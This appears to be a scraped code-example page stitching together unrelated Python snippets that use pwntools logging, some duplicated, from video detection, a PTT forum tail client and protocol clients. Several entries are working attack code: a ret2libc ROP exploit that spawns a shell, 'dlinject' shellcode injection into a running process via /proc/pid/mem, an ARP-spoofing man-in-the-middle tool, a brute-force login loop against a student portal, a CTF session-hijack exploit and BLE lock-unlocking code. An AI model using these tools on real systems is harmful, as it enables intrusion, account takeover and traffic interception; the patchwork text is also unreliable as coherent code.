def genscript(info, funct):
    fstring = '\'{'
    fstring += '"name": "{}", '.format(funct.name)
    fstring += '"parameters": ['

    for p in info["parameters"]:
        if p["monitor"]:
            fstring += '{'
            fstring += '"name": "{}", '.format(p["name"])
            fstring += '"content": "\' + '
            if (p["type"] == "string"):
                fstring += '"\\' + '\\x" + '
                fstring += 'Memory.readCString('
                fstring += 'args[{}]'.format(info["parameters"].index(p))
                fstring += ').split("").map(function(a){return '
                fstring += 'a.charCodeAt(0).toString(16)}).join("\\'
                fstring += '\\x")'
            elif (p["type"] == "num"):
                fstring += 'args[{}]'.format(info["parameters"].index(p))
                fstring += '.toInt32()'
            elif (p["type"] == "addr"):
                fstring += 'args[{}]'.format(info["parameters"].index(p))
            else:
                log.warn("UNKNOWN TYPE IN: " + p)
            fstring += ' + \'"}, '

    if fstring[-2:] == ', ':  # remove ', '
        fstring = fstring[:-2]
    fstring += ']'
    fstring += '}\''
    d = {'addr': funct.absolute_address, 'format': fstring}
    tosend = SCRIPT.format(**d)
    return tosend
示例#2
0
def exploit(base):
    log.info('Registering user')
    user = register(base)
    log.info(f'User: {user}')

    log.info('Logging in')
    sess = login(base, user['username'], user['password'])

    log.info('Delaying session write')
    thread = do_async(lambda: create_random_note(base, sess, 'my title', 'my content'))
    time.sleep(1)

    log.info('Committing account sudoku')
    session_cookie = delete_me(base, sess)
    log.info(f'Cookie: {session_cookie}')

    log.info('Waiting for delayed write')
    thread.join()

    log.info('Getting flag note')
    sess.cookies.set('connect.sid', session_cookie)
    flag_note = get_note(base, sess, 'flag')
    if flag_note is None:
        log.warn('could not get flag')
    else:
        flag = flag_note['content']
        log.success(f'Flag: {flag}')
示例#3
0
def detect_from_cam_and_write(yolo, opname, cap, frameno, create, cv2):
    try:
        log.info("Starting the proccessing of the frames")

        net, ln, labels = Setup(yolo, cv2)

        while (True):
            # get next frame
            ret, frame = cap.read()
            if not ret:
                break
            current_img = frame.copy()
            current_img = imutils.resize(current_img, width=480)
            video = current_img.shape
            frameno += 1
            if (frameno % 2 == 0 or frameno == 1):
                processedImg = ImageProcess(current_img, net, ln, labels, cv2)
                Frame = processedImg
                cv2.imshow("Image", Frame)
                if create is None:
                    fourcc = cv2.VideoWriter_fourcc(*'XVID')
                    create = cv2.VideoWriter(opname, fourcc, 30,
                                             (Frame.shape[1], Frame.shape[0]),
                                             True)
            # write frame to output video
            create.write(Frame)
            if cv2.waitKey(1) & 0xFF == ord('s'):
                break
    except KeyboardInterrupt:
        log.warn('Interrupted')
        exit(0)
示例#4
0
def find_dub(params):
    for p in params:
        tocheck = []
        for x in params[p]:
            tocheck.append(x)
        if len(tocheck) != len(set(tocheck)):
            log.warn("Same {} found in same run!".format(p))
示例#5
0
 def set_notification_enabled(self):
     svc = self.device.getServiceByUUID(self.SERVICE_UUID)
     ch = svc.getCharacteristics()
     for c in ch:
         if c.uuid == self.READ_FROM:
             ch_handle = c.getHandle()
             log.warn(f'Set notification enable for UUID : {c.uuid}, handle : {ch_handle+1}')
             self.device.writeCharacteristic(ch_handle+1,b"\x01\x00",withResponse=True)
             break
示例#6
0
文件: ptt.py 项目: lsc36/ptt-tail
 def push_format(s_orig):
     s = Ptt.noctrl(s_orig)
     m = re.match(r'^([^ ]+) ([\w]+) *: (.*) (\d\d/\d\d \d\d:\d\d)$', s.strip())
     if m is None:
         log.warn('Error parsing push: ' + repr(s_orig))
         return None, None, None, s
     push_type = m.group(1)
     # Replace Unicode arrow with ASCII chars (weird width on terminal)
     if push_type == '\x08\x08→':
         push_type = '->'
     return m.group(4), push_type, m.group(2), m.group(3)
示例#7
0
文件: ptt.py 项目: lsc36/ptt-tail
 def push_format(s_orig):
     s = Ptt.noctrl(s_orig)
     m = re.match(r'^([^ ]+) ([\w]+) *: (.*) (\d\d/\d\d \d\d:\d\d)$',
                  s.strip())
     if m is None:
         log.warn('Error parsing push: ' + repr(s_orig))
         return None, None, None, s
     push_type = m.group(1)
     # Replace Unicode arrow with ASCII chars (weird width on terminal)
     if push_type == '\x08\x08→':
         push_type = '->'
     return m.group(4), push_type, m.group(2), m.group(3)
示例#8
0
文件: ptt.py 项目: lsc36/ptt-tail
    def get_last_page(self):
        if self._article is None:
            raise ValueError('Article not set')
        p = self.p
        p.send('$')  # End
        p.recvrepeat(0.1)

        while True:
            p.send('\x0c')  # Ctrl-L re-render screen
            lines = p.recvrepeat(0.1).split('\r\n')[:-1]
            if lines:
                break
            log.warn('Re-render failed, retrying')

        lines = map(Ptt.noctrl, lines)
        lines = map(lambda l: l.strip(), lines)
        return lines
示例#9
0
    async def send(self, payload, bypass=False):
        message = {"janus": "message", "transaction": transaction_id()}
        message.update(payload)
        async with self._session._http.post(self._url, json=message) as response:
            data = await response.json()
            log.info('post[response]: {}'.format(data))
            
            if bypass:
                return None
                
            if data["janus"] != "ack":
                log.warn('data["janus"] != "ack --> something is wrong"')
                return data

        response = await self._queue.get()
        assert response["transaction"] == message["transaction"]
        return response
示例#10
0
文件: ptt.py 项目: lsc36/ptt-tail
    def get_last_page(self):
        if self._article is None:
            raise ValueError('Article not set')
        p = self.p
        p.send('$')  # End
        p.recvrepeat(0.1)

        while True:
            p.send('\x0c')  # Ctrl-L re-render screen
            lines = p.recvrepeat(0.1).split('\r\n')[:-1]
            if lines:
                break
            log.warn('Re-render failed, retrying')

        lines = map(Ptt.noctrl, lines)
        lines = map(lambda l: l.strip(), lines)
        return lines
示例#11
0
def detect_from_file_and_write(yolo, opname, cap, frameno, create, cv2):
    try:
        # show the progress
        total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
        bar = progressbar.ProgressBar(maxval=total_frames,
                                      widgets=[
                                          progressbar.Bar('=', '[', ']'), ' ',
                                          progressbar.Percentage()
                                      ])
        log.info(
            "Starting the proccessing of the video, it may take time depending on the length of the video"
        )
        bar.start()

        net, ln, labels = Setup(yolo, cv2)

        while (True):
            # get next frame
            ret, frame = cap.read()
            if not ret:
                break
            current_img = frame.copy()
            current_img = imutils.resize(current_img, width=480)
            video = current_img.shape
            frameno += 1
            bar.update(frameno)
            if (frameno % 2 == 0 or frameno == 1):
                processedImg = ImageProcess(current_img, net, ln, labels, cv2)
                Frame = processedImg
                # show the modified frame
                cv2.imshow("Image", Frame)
                if create is None:
                    fourcc = cv2.VideoWriter_fourcc(*'XVID')
                    create = cv2.VideoWriter(opname, fourcc, 30,
                                             (Frame.shape[1], Frame.shape[0]),
                                             True)
            # write frame to output video
            create.write(Frame)
            if cv2.waitKey(1) & 0xFF == ord('s'):
                break
        bar.finish()
    except KeyboardInterrupt:
        log.warn('Interrupted')
        exit(0)
示例#12
0
def find_dub_all(params):
    ps = [p for p in params]
    all_keys = []
    for p in ps:
        all_keys += p.keys()
    all_keys = list(set(all_keys))

    for key in all_keys:
        index = 0
        for param in params:
            tocheck = params[:index] + params[index + 1:]
            listing = []
            for c in tocheck:
                if c.get(key):
                    listing.append(c[key])
            # If you think hard enough, this makes sense:
            listing = [i for j in listing for i in j]
            if params[index].get(key):
                for x in params[index][key]:
                    if x in listing:
                        log.warn("Same {} found in different runs".format(key))
            index = index + 1
示例#13
0
 def assign_token(self,token):
     self.token = token
     log.warn(f'Got token {token}! First lets check LOCK_STATE')
     self.get_lock_state()
     log.warn(f'Gonna unlock anyway')
     self.unlock()
     log.warn(f'Just for fun get Battery level')
     self.get_battery()
示例#14
0
文件: ptt.py 项目: lsc36/ptt-tail
 def tail(self, board, aid, poll_interval=5):
     self.board = board
     self.article = aid
     last = self.get_last_page()
     for l in last:
         yield Ptt.push_format(l) + (False, )  # Not follow
     while True:
         try:
             time.sleep(poll_interval)
             self.reload_article()
             cur = self.get_last_page()
             # Find new pushes
             pos = len(cur)
             while pos > 0:
                 if last[-1] == cur[pos - 1]:
                     break
                 pos -= 1
             if pos == 0:
                 log.warn('New pushes more than 1 page, some may be lost')
             for l in cur[pos:]:
                 yield Ptt.push_format(l) + (True, )  # Follow
             last = cur
         except KeyboardInterrupt:
             break
示例#15
0
文件: ptt.py 项目: lsc36/ptt-tail
 def tail(self, board, aid, poll_interval=5):
     self.board = board
     self.article = aid
     last = self.get_last_page()
     for l in last:
         yield Ptt.push_format(l) + (False,)  # Not follow
     while True:
         try:
             time.sleep(poll_interval)
             self.reload_article()
             cur = self.get_last_page()
             # Find new pushes
             pos = len(cur)
             while pos > 0:
                 if last[-1] == cur[pos - 1]:
                     break
                 pos -= 1
             if pos == 0:
                 log.warn('New pushes more than 1 page, some may be lost')
             for l in cur[pos:]:
                 yield Ptt.push_format(l) + (True,)  # Follow
             last = cur
         except KeyboardInterrupt:
             break
def export_function(f):
    fdesc = {}
    fdesc["name"] = f.name
    fdesc["parameters"] = []
    fdesc["monitor"] = True
    for p in f.params:
        entry = {}
        entry["name"] = p.name
        if(p.isptr):
            entry["type"] = "addr"
            if("char" in p.type):
                entry["type"] = "string"
        else:
            entry["type"] = "num"
        entry["monitor"] = False
        if(p.name):
            fdesc["parameters"].append(entry)
    filename = "functions/" + f.name + ".json"
    if(os.path.isfile(filename)):
        log.warn("File " + filename + " already exists!")
    else:
        with open(filename, 'w') as outfile:
            json.dump(fdesc, outfile,
                      sort_keys=True, indent=4, separators=(',', ': '))
示例#17
0
log.success(f'Form   Token: {FORMTOKEN}')

headers = {'Referer': URL}

BASE_TARGET = 'B2009700'
DEFAULT_PASSWORD = '******'

for _ in range(10, 100):
    username = BASE_TARGET + str(_)
    data = {
        'username': username,
        'password': DEFAULT_PASSWORD,
        '__RequestVerificationToken': FORMTOKEN,
        'returnUrl': '',
    }
    resp = SESSION.post(URL, data, headers=headers).text

    if 'Зурган кодыг оруулна уу' in resp:
        # start new session
        continue
    elif 'Оюутны код эсвэл нууц үг буруу байна.' in resp:
        log.warn(f'No luck: {username}')
    else:
        log.success('====== Pwned ========')
        log.success(f'Username: {username}')
        log.success(f'Password: {password}')
        log.success('====== Pwned ========')
        print(resp)
        input()
示例#18
0
    s = remote("localhost", server_port)
    print(s.recvline().decode())
    params = loads(s.recvline())
    g = params["g"]
    p = params["p"]
    h = params["h"]
    print(params)

    res = []
    for cnt in range(proof_times):
        log.info(f"~~~~~ round {cnt + 1} ~~~~~")
        x = loads(s.recvline())["x"]
        log.info(f"  I got x: {x}")
        c = randint(0, 1)
        log.info(f"  I send c: {c}")
        s.sendline(dumps({"c": c}))
        y = loads(s.recvline())["y"]
        log.info(f"  I got y: {y}")
        if pow(g, y, p) == x * pow(h, c, p) % p:
            log.info("  Accepted")
            res.append(True)
        else:
            log.warn("  wrong responce...")
            res.append(False)
    s.close()

    if all(res):
        log.info("Alice is a valid prover")
    else:
        log.warn("Alice is not a valid prover")
示例#19
0
def dlinject(pid, lib_path, stopmethod="sigstop"):
    with open(f"/proc/{pid}/maps") as maps_file:
        for line in maps_file.readlines():
            ld_path = line.split()[-1]
            if re.match(r".*/ld-.*\.so", ld_path):
                ld_base = int(line.split("-")[0], 16)
                break
        else:
            log.error("Couldn't find ld.so! (we need it for _dl_open)")

    log.info("ld.so found: " + repr(ld_path))
    log.info("ld.so base: " + hex(ld_base))
    dl_open_offset = lookup_elf_symbol(ld_path, "_dl_open")

    if not dl_open_offset:
        log.error("Unable to locate _dl_open symbol")

    dl_open_addr = ld_base + dl_open_offset
    log.info("_dl_open: " + hex(dl_open_addr))

    if stopmethod == "sigstop":
        log.info("Sending SIGSTOP")
        os.kill(pid, signal.SIGSTOP)
        while True:
            with open(f"/proc/{pid}/stat") as stat_file:
                state = stat_file.read().split(" ")[2]
            if state in ["T", "t"]:
                break
            log.info("Waiting for process to stop...")
            time.sleep(0.1)
    elif stopmethod == "cgroup_freeze":
        freeze_dir = "/sys/fs/cgroup/freezer/dlinject_" + os.urandom(8).hex()
        os.mkdir(freeze_dir)
        with open(freeze_dir + "/tasks", "w") as task_file:
            task_file.write(str(pid))
        with open(freeze_dir + "/freezer.state", "w") as state_file:
            state_file.write("FROZEN\n")
        while True:
            with open(freeze_dir + "/freezer.state") as state_file:
                if state_file.read().strip() == "FROZEN":
                    break
            log.info("Waiting for process to freeze...")
            time.sleep(0.1)
    else:
        log.warn("We're not going to stop the process first!")

    with open(f"/proc/{pid}/syscall") as syscall_file:
        syscall_vals = syscall_file.read().split(" ")
    rip = int(syscall_vals[-1][2:], 16)
    rsp = int(syscall_vals[-2][2:], 16)

    log.info(f"RIP: {hex(rip)}")
    log.info(f"RSP: {hex(rsp)}")

    stage2_path = f"/tmp/stage2_{os.urandom(8).hex()}.bin"

    shellcode = asm(fr"""
		// push all the things
		pushf
		push rax
		push rbx
		push rcx
		push rdx
		push rbp
		push rsi
		push rdi
		push r8
		push r9
		push r10
		push r11
		push r12
		push r13
		push r14
		push r15

		// Open stage2 file
		mov rax, 2          # SYS_OPEN
		lea rdi, path[rip]  # path
		xor rsi, rsi        # flags (O_RDONLY)
		xor rdx, rdx        # mode
		syscall
		mov r14, rax        # save the fd for later

		// mmap it
		mov rax, 9              # SYS_MMAP
		xor rdi, rdi            # addr
		mov rsi, {STAGE2_SIZE}  # len
		mov rdx, 0x7            # prot (rwx)
		mov r10, 0x2            # flags (MAP_PRIVATE)
		mov r8, r14             # fd
		xor r9, r9              # off
		syscall
		mov r15, rax            # save mmap addr

		// close the file
		mov rax, 3    # SYS_CLOSE
		mov rdi, r14  # fd
		syscall

		// delete the file (not exactly necessary)
		mov rax, 87         # SYS_UNLINK
		lea rdi, path[rip]  # path
		syscall

		// jump to stage2
		jmp r15

	path:
		.ascii "{stage2_path}\0"
	""")

    with open(f"/proc/{pid}/mem", "wb+") as mem:
        # back up the code we're about to overwrite
        mem.seek(rip)
        code_backup = mem.read(len(shellcode))

        # back up the part of the stack that the shellcode will clobber
        mem.seek(rsp - STACK_BACKUP_SIZE)
        stack_backup = mem.read(STACK_BACKUP_SIZE)

        # write the primary shellcode
        mem.seek(rip)
        mem.write(shellcode)

    log.info("Wrote first stage shellcode")

    stage2 = asm(fr"""
		cld

		fxsave moar_regs[rip]

		// Open /proc/self/mem
		mov rax, 2                   # SYS_OPEN
		lea rdi, proc_self_mem[rip]  # path
		mov rsi, 2                   # flags (O_RDWR)
		xor rdx, rdx                 # mode
		syscall
		mov r15, rax  # save the fd for later

		// seek to code
		mov rax, 8      # SYS_LSEEK
		mov rdi, r15    # fd
		mov rsi, {rip}  # offset
		xor rdx, rdx    # whence (SEEK_SET)
		syscall

		// restore code
		mov rax, 1                   # SYS_WRITE
		mov rdi, r15                 # fd
		lea rsi, old_code[rip]       # buf
		mov rdx, {len(code_backup)}  # count
		syscall

		// close /proc/self/mem
		mov rax, 3    # SYS_CLOSE
		mov rdi, r15  # fd
		syscall

		// move pushed regs to our new stack
		lea rdi, new_stack_base[rip-{STACK_BACKUP_SIZE}]
		mov rsi, {rsp-STACK_BACKUP_SIZE}
		mov rcx, {STACK_BACKUP_SIZE}
		rep movsb

		// restore original stack
		mov rdi, {rsp-STACK_BACKUP_SIZE}
		lea rsi, old_stack[rip]
		mov rcx, {STACK_BACKUP_SIZE}
		rep movsb

		lea rsp, new_stack_base[rip-{STACK_BACKUP_SIZE}]

		// call _dl_open (https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/elf/dl-open.c#L529)
		lea rdi, lib_path[rip]  # file
		mov rsi, 2              # mode (RTLD_NOW)
		xor rcx, rcx            # nsid (LM_ID_BASE) (could maybe use LM_ID_NEWLM (-1))
		mov rax, {dl_open_addr}
		call rax

		fxrstor moar_regs[rip]
		pop r15
		pop r14
		pop r13
		pop r12
		pop r11
		pop r10
		pop r9
		pop r8
		pop rdi
		pop rsi
		pop rbp
		pop rdx
		pop rcx
		pop rdx
		pop rax
		popf

		mov rsp, {rsp}
		jmp old_rip[rip]

	old_rip:
		.quad {rip}

	old_code:
		.byte {",".join(map(str, code_backup))}

	old_stack:
		.byte {",".join(map(str, stack_backup))}

		.align 16
	moar_regs:
		.space 512

	lib_path:
		.ascii "{lib_path}\0"

	proc_self_mem:
		.ascii "/proc/self/mem\0"

	new_stack:
		.balign 0x8000

	new_stack_base:
	""")

    with open(stage2_path, "wb") as stage2_file:
        os.chmod(stage2_path, 0o666)
        stage2_file.write(stage2)

    log.info(f"Wrote stage2 to {repr(stage2_path)}")

    if stopmethod == "sigstop":
        log.info("Continuing process...")
        os.kill(pid, signal.SIGCONT)
    elif stopmethod == "cgroup_freeze":
        log.info("Thawing process...")
        with open(freeze_dir + "/freezer.state", "w") as state_file:
            state_file.write("THAWED\n")

        # put the task back in the root cgroup
        with open("/sys/fs/cgroup/freezer/tasks", "w") as task_file:
            task_file.write(str(pid))

        # cleanup
        os.rmdir(freeze_dir)

    log.success("Done!")
示例#20
0
def main():
    p = get_process()

    # Stage 1

    # Initial payload
    payload = b"A" * ExploitInfo.offset_buf_to_eip
    ropchain = p32(ExploitInfo.puts_plt)
    ropchain += p32(ExploitInfo.main_func)
    ropchain += p32(ExploitInfo.puts_got)

    payload = payload + ropchain

    p.clean()
    p.sendline(payload)

    # Take 4 bytes of the output
    leak = p.recv(4)
    puts_addr = u32(leak)
    log.info("Here the leak : %s" % binascii.hexlify(leak))
    log.info("puts is at    : 0x%x" % puts_addr)
    p.clean()

    # Calculate libc base
    libc_base = puts_addr - ExploitInfo.offset_puts
    log.info("libc base     : 0x%x" % libc_base)

    # Stage 2
    # Calculate offsets
    system_addr = libc_base + ExploitInfo.offset_system + 3  # +3 to avoid null byte on address
    """
    Part of system:
        0xf7e0d200 <+0>:     sub    esp,0xc
        0xf7e0d203 <+3>:     mov    eax,DWORD PTR [esp+0x10]
        0xf7e0d207 <+7>:     call   0xf7f0737d
    """
    padding = '\x90' * 0xc  # cause we jump from first instruction
    exit_addr = libc_base + ExploitInfo.offset_exit
    binsh_addr = libc_base + ExploitInfo.offset_str_bin_sh

    log.info("system is at  : 0x%x" % system_addr)
    log.info("/bin/sh is at : 0x%x" % binsh_addr)
    log.info("exit is at    : 0x%x" % exit_addr)

    # Build 2nd payload
    payload2 = b"A" * ExploitInfo.offset_buf_to_eip
    ropchain2 = p32(system_addr)
    ropchain2 += padding
    ropchain2 += p32(exit_addr)
    # Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)
    #           Then you'll execute system("sh")
    ropchain2 += p32(binsh_addr)

    payload2 = payload2 + ropchain2
    if b'\x00' in payload2:
        log.warn('WARNING: null in payload\n' 'Exploit may fail.')

    p.sendline(payload2)

    log.success("Here comes the shell!")
    p.clean()
    p.interactive()
示例#21
0
          ░          ░
    '''
    print(a)


print_banner()

scanner = Scanner()
log.info(f"Scannig around for BLE.. Wait for {SCAN_TIME} seconds")
devices = scanner.scan(SCAN_TIME)
log.info(f"Scannig done. Found {len(devices)}")

buckles = []

if len(devices) == 0:
    log.warn("Where are you dude ? :X Maybe increase scan time ?")
    exit()

c = 0
c2 = 0
totallen = len(devices)
with log.progress('Taking closer look to found devices') as progress:
    for dev in devices:
        time.sleep(0.2)
        for (adtype, desc, value) in dev.getScanData():
            if value == DEVICE_NAME:
                log.debug(
                    f"Found {DEVICE_NAME} boi!\nRSSI: {dev.rssi} ADDR: {dev.addr} RAWDATA: {dev.rawData}"
                )
                c += 1
                scanData = dev.rawData
示例#22
0
from Crypto.Util.number import inverse, long_to_bytes as ltb
from sympy import isprime
from pwn import log

n = 0xDEADBEEF
e = 0xDEADBEEF
c = 0XDEADBEEF

log.info('Checking N is prime')
if not isprime(n):
    log.warn('N is not prime number')
    exit()
log.success('N is prime')
d = inverse(e, n - 1)
m = pow(c, d, n)
log.info(f'd: {d}')
log.info(f'm: {m}')
log.success(f'flag: {ltb(m).decode()}')
示例#23
0
文件: fuzzy.py 项目: SakiiR/fuzzy
def print_exceptions():
    """ Print exceptions list """

    global g_exceptions
    for e in g_exceptions:
        log.warn("Exception occured : {}".format(e))
示例#24
0
def main(target):
    global PATH
    log.info("Going to analyze {}".format(target))
    try:
        session = frida.get_usb_device().attach(target)
    except frida.ServerNotRunningError:
        try:
            log.error("Please start frida server first")
        except:
            sys.exit(-1)
    except frida.TimedOutError:
        try:
            log.error("Frida timeout...")
        except:
            sys.exit(-1)

    with open("config/modules.json") as j:
        MODULES = json.load(j)
    log.info("Will look at: {}".format(', '.join(MODULES)))

    PATH = "results/" + sys.argv[1] + "/"
    if not os.path.exists(PATH):
        os.makedirs(PATH)

    runnr = len([x for x in os.listdir(PATH) if os.path.isdir(PATH + x)])
    PATH += "run_"
    PATH += str(runnr)
    PATH += "/"
    if not os.path.exists(PATH):
        os.makedirs(PATH)

    # Get only needed Modules
    modules = session.enumerate_modules()
    tmp = []
    for M in MODULES:
        tmp.append(modules[[x.name for x in modules].index(M)])
    modules = tmp

    functions = []
    for x in modules:
        functions += x.enumerate_exports()
    log.info("Found {} functions".format(len(functions)))

    # Which functions do I need to look at?
    for filename in os.listdir("functions/"):
        with open("functions/" + filename) as j:
            FUNCTIONS.append(json.load(j))
    lookup = [x["name"] for x in FUNCTIONS]
    log.info("Will look for: {}".format(', '.join(lookup)))

    for f in lookup:
        try:
            result = functions[[x.name for x in functions].index(f)]
        except ValueError:
            log.warn("Function " + f + "not found")
            continue
        log.info("Found {} in {} @ {}".format(result.name, result.module.name,
                                              hex(result.absolute_address)))
        script = session.create_script(
            genscript(FUNCTIONS[lookup.index(f)], result))
        script.on('message', on_message)
        script.load()
    log.info("Injected all needed scripts, now listening")
    sys.stdin.read()
示例#25
0
def main():
    parser = argparse.ArgumentParser(description="ARP spoof script")
    parser.print_help = print_help
    parser.add_argument("-t",
                        "--targets",
                        help="Victim IP Address to ARP poison",
                        required=True)
    parser.add_argument(
        "-g",
        "--gateway",
        help="the host you wish to intercept packets for (usually the gateway)",
        required=True)
    parser.add_argument("-i",
                        "--interface",
                        help="Specify an interface",
                        required=True)
    parser.add_argument("-a",
                        "--arp",
                        help="Scan With ARP instead of nmap scan",
                        action='store_true',
                        required=False)

    args = parser.parse_args()
    targets, gateway, iface, __arp = args.targets, args.gateway, args.interface, args.arp
    global interface_mac
    interface_mac = get_if_hwaddr(iface)
    log.info(f"Started at {t()}")
    if '/' in targets:
        if not __arp:
            p = log.progress(
                f"Scanning {CYAN}network{RESET} for {GREEN}connected{RESET} devices"
            )
            up, down, List, targets = NmapConnectedDevices(targets, p)
            _displayWithNmap(up, down, List)
        else:
            targets = ipaddress.IPv4Network(targets)
            targets = [str(target) for target in targets.hosts()]
            p = log.progress(
                f"Scanning {CYAN}network{RESET} for {GREEN}connected{RESET} devices"
            )
            d_v, targets = XGetConnectedDevices(targets, p)
            displayFounded(d_v)
    else:
        targets = targets.split(",")
    if gateway in targets:
        targets.remove(gateway)
    if getLocalIp() in targets:
        targets.remove(getLocalIp())
    if len(targets) == 0:
        log.failure(
            f'no {GREEN}clients{RESET} detected in this {WHITE}network.{RESET}'
        )
        log.warn(
            f'if you think this is an {YELLOW}error{RESET}, please specify your {GREEN}targets.{RESET}'
        )
        log.failure('exiting...')
        exit(0)
    p = log.progress("Enabling IP Routing")
    time.sleep(0.5)
    enable_ip_route(p)
    try:
        p = log.progress('Generating mac address')
        change_mac(iface, p)
        v_t = f'{RESET},{GREEN} '.join(targets)
        log.success(
            f"Starting {CYAN}attack{RESET} on {GREEN}{len(targets)}{RESET} valid targets → '{GREEN}{v_t}{RESET}'."
        )
        while True:
            with concurrent.futures.ThreadPoolExecutor(
                    max_workers=len(targets)) as executor:
                {
                    executor.submit(XSpoofed, str(target), gateway): target
                    for target in targets
                }
    except KeyboardInterrupt:
        log.warning(
            f"{RED}Detected{YELLOW} CTRL+C ! {RESET}restoring the network, please wait...\n"
        )
        with concurrent.futures.ThreadPoolExecutor(
                max_workers=len(targets)) as executor:
            {
                executor.submit(XRestored, str(target), gateway): target
                for target in targets
            }
        p = log.progress(
            f"Restoring {WHITE}{iface} {GREEN}→  {WHITE}{interface_mac}{RESET} mac address"
        )
        change_mac(iface, p, mac=interface_mac)
    except OSError as err:
        change_mac(iface, p, mac=interface_mac)
        exit(log.failure(str(err)))